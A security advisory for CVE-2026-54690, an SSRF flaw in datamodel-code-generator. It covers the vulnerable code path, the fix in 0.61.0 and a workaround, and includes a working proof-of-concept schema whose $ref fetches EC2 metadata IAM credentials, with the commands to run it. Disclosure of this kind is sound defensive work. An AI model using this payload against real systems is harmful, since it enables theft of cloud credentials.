high · 8.2CVE-2026-54690Jul 28, 2026

CVE-2026-54690: datamodel-code-generator SSRF via JSON Schema $ref HTTP URL

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A malicious JSON Schema or OpenAPI document can smuggle an HTTP $ref that silently fetches any internal URL, including cloud metadata endpoints, and leaks the response into generated Python source…

Packagedatamodel-code-generator
Ecosystempip
Affected>= 0.9.1, <= 0.60.2
Fixed in0.61.0
CVE-2026-54690: datamodel-code-generator SSRF via JSON Schema $ref HTTP URL

The problem

datamodel-code-generator resolves HTTP and HTTPS $ref values in JSON Schema documents by making real outbound HTTP requests with no IP or host validation. Redirects are followed unconditionally, and private, loopback, and link-local addresses are never blocked.

The --allow-remote-refs flag added in 0.56.0 defaults to None, which only prints a deprecation warning before fetching anyway. Only the explicit value false stops the request. Any schema the tool processes, including a third-party OpenAPI spec or a customer-uploaded schema, can therefore pivot to internal services.

The fetched body is parsed as a sub-schema and its fields (title, description, properties) end up verbatim in the generated .py file.

Proof of concept

A working proof-of-concept for CVE-2026-54690 in datamodel-code-generator, with the exact payload below.

json
# Attacker-controlled schema file: evil.json
# Save this, then run:
#   pip install 'datamodel-code-generator[http]'
#   datamodel-codegen --input evil.json --output models.py
#
# On an EC2 instance this fetches IAM credentials from IMDSv1 and
# reflects the JSON response into models.py as field descriptions.
{
  "$schema": "http://json-schema.org/draft-07/schema#",
  "title": "Innocent Model",
  "type": "object",
  "properties": {
    "role": {
      "$ref": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
    }
  }
}

The sink is _get_ref_body() in src/datamodel_code_generator/parser/jsonschema.py (lines 4776-4793 at tag 0.60.1). When allow_remote_refs is None (the default), the code emits a deprecation warning and then unconditionally calls _get_ref_body_from_url(), which routes through _get_text_from_url() / get_body with no IP validation and redirect following enabled.

The fetched response is parsed as a sub-schema and merged into the model graph, so any JSON content returned by the internal service ends up as field metadata in the generated Python file, leaking it to whoever receives that file.

The fix in commit 5fdba4a (release 0.61.0) hardens the shared HTTP fetcher to block loopback, private, link-local, and reserved network targets by default, validates every redirect target before following it, and requires the new --allow-private-network flag to reach non-public addresses.

CWE-918 (Server-Side Request Forgery).

The fix

Upgrade to datamodel-code-generator 0.61.0. The patch (commit 5fdba4a09f2d7a9996a504975b7ef7d63e3715bb) blocks all non-public network targets in the HTTP fetcher and validates redirect destinations before following them. If you must allow internal schema endpoints, pass --allow-private-network explicitly.

Until you can upgrade, pass --allow-remote-refs=false to refuse all HTTP $ref resolution.

Reported by Hamza Haroon (thegr1ffyn).

References: [1][2][3][4]

Related research